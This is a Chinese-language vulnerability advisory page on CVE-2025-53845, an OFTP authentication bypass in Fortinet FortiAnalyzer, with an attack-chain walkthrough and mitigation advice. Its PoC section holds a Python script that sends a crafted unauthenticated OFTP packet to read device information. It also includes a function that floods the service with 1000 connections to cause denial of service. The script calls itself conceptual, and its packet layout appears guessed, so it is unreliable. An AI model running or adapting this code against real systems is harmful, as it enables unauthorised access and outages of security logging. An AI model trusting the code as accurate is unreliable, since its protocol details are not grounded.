IPBUF安全漏洞报告
English
CVE-2025-53845 CVSS 6.5 中危

CVE-2025-53845 Fortinet FortiAnalyzer OFTP认证绕过漏洞

披露日期: 2025-10-14

漏洞信息

漏洞编号
CVE-2025-53845
漏洞类型
认证绕过/不当认证(Improper Authentication)
CVSS评分
6.5 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Fortinet FortiAnalyzer

相关标签

CVE-2025-53845FortinetFortiAnalyzer认证绕过不当认证CWE-287OFTP信息泄露拒绝服务DoS

漏洞概述

CVE-2025-53845是Fortinet FortiAnalyzer集中日志与分析平台中存在的一个不当认证漏洞(对应CWE-287)。该漏洞存在于FortiAnalyzer的OFTP(Odette File Transfer Protocol)通信模块中,允许未经认证的远程攻击者通过精心构造的OFTP请求获取目标设备运行状态与健康信息,并可触发拒绝服务(DoS)攻击。FortiAnalyzer是Fortinet Security Fabric中的核心组件,广泛用于企业网络中收集、分析和存储来自FortiGate等设备的日志数据,一旦该平台被攻击者利用,将对整个安全运营中心(SOC)的可见性与可用性造成威胁。该漏洞的CVSS v3.1评分为6.5,属于中危级别,其攻击向量为网络(AV:N),无需特权(PR:N)和用户交互(UI:N),机密性影响为低(C:L),完整性影响为无(I:N),可用性影响为低(A:L)。该漏洞由Fortinet产品安全事件响应团队(PSIRT)发现并披露,披露日期为2025年10月14日。受影响的版本包括FortiAnalyzer 7.6.0至7.6.3以及7.4.6之前的版本。鉴于FortiAnalyzer在企业网络中的关键地位,以及该漏洞可被未认证攻击者远程利用,建议相关用户尽快升级至修复版本以消除风险。

技术细节

FortiAnalyzer使用OFTP(Odette File Transfer Protocol,基于TCP的通信协议)协议与其他Fortinet设备进行日志传输和通信。在受影响版本中,OFTP服务端模块在处理传入连接请求时,未对客户端身份进行充分的认证校验,导致攻击者可以在未提供有效凭据的情况下与OFTP服务建立会话。攻击者利用该缺陷,通过构造恶意的OFTP数据包,可以实现两类攻击效果:1)信息泄露——读取FortiAnalyzer设备的健康状态、运行参数、系统信息等敏感数据,辅助后续攻击规划;2)拒绝服务——通过发送畸形或高负载的OFTP请求耗尽系统资源,导致合法用户无法正常访问管理界面或日志服务。由于该漏洞的攻击复杂度低(AC:L),无需任何特权或用户交互,攻击者仅需通过网络即可远程利用,因此具有较高的实际威胁。修复方案是在OFTP处理流程中增加严格的身份验证机制,确保只有经过授权的设备才能与服务端交互。

攻击链分析

STEP 1
步骤1:侦察阶段
攻击者通过Shodan、Censys等网络空间搜索引擎或扫描工具定位暴露在公网的FortiAnalyzer设备的OFTP服务端口(默认TCP 6619)。
STEP 2
步骤2:构造恶意OFTP请求
攻击者构造不包含有效认证凭据的OFTP会话请求(SSRM),利用服务端认证校验缺失的缺陷绕过身份验证。
STEP 3
步骤3:信息泄露
成功绕过认证后,攻击者通过OFTP协议与FortiAnalyzer建立未授权会话,获取设备健康状态、固件版本、运行参数等敏感信息,为后续攻击提供情报支持。
STEP 4
步骤4:拒绝服务攻击
攻击者通过持续发送畸形或大量OFTP请求,耗尽FortiAnalyzer的系统资源(CPU、内存、连接数),导致合法管理员无法访问管理界面,日志收集与分析功能中断。
STEP 5
步骤5:影响扩大
FortiAnalyzer作为安全运营中心核心组件,其不可用将导致整个企业网络失去安全日志可见性,攻击者可趁机进行其他隐蔽攻击。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2025-53845 - FortiAnalyzer OFTP Improper Authentication PoC (Conceptual) # This is a conceptual PoC demonstrating the exploitation of the OFTP authentication bypass # in FortiAnalyzer. Use only for authorized security testing. import socket import struct TARGET_HOST = "<fortianalyzer_ip>" OFTP_PORT = 6619 # Default OFTP port for FortiAnalyzer def build_evil_oftp_request(): """ Build a crafted OFTP request that bypasses authentication. OFTP uses a simple header structure. The vulnerability lies in the lack of proper authentication validation on the server side. """ # OFTP Start Session Request (SSRM) - crafted without valid credentials # The server fails to verify the session initiator credentials ssrm_payload = b"" # ODETTE-FTP header magic ssrm_payload += b"\x00\x00\x00\x00" # Command: SSRM (Start Session Ready Message) = 0x01 ssrm_payload += b"\x01" # Version ssrm_payload += b"\x13" # Reserved ssrm_payload += b"\x00\x00" # Compress, Restarts, Resync, etc. flags ssrm_payload += b"\x00" * 4 # User data - intentionally malformed/empty to trigger vuln ssrm_payload += b"ATTACKER\x00" # Password field - empty (bypass) ssrm_payload += b"\x00" * 8 # OFTP length prefix length = struct.pack(">H", len(ssrm_payload)) return length + ssrm_payload def exploit_info_disclosure(): """Exploit the auth bypass to read device health/status info.""" sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(10) sock.connect((TARGET_HOST, OFTP_PORT)) payload = build_evil_oftp_request() sock.send(payload) # Read server response - contains health/status info due to auth bypass response = sock.recv(4096) print(f"[*] Received response ({len(response)} bytes): {response.hex()}") sock.close() return response def exploit_dos(): """Trigger denial of service by flooding with crafted OFTP requests.""" for i in range(1000): sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(5) sock.connect((TARGET_HOST, OFTP_PORT)) payload = build_evil_oftp_request() sock.send(payload) sock.close() print("[+] DoS flood completed") if __name__ == "__main__": exploit_info_disclosure() # exploit_dos() # Uncomment to trigger DoS

影响范围

Fortinet FortiAnalyzer >= 7.6.0, <= 7.6.3
Fortinet FortiAnalyzer < 7.4.6

防御指南

临时缓解措施
在无法立即升级的情况下,建议采取以下临时缓解措施:1)限制OFTP服务端口(默认TCP 6619)的网络访问,仅允许受信任的FortiGate设备IP地址通过防火墙ACL访问;2)在网络边界部署WAF或IPS规则,检测和阻断异常的OFTP请求;3)监控OFTP服务日志,关注异常的连接请求和未授权访问尝试;4)如非必要,临时关闭OFTP服务功能;5)部署网络分段,将FortiAnalyzer置于独立的管理VLAN中,减少暴露面。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表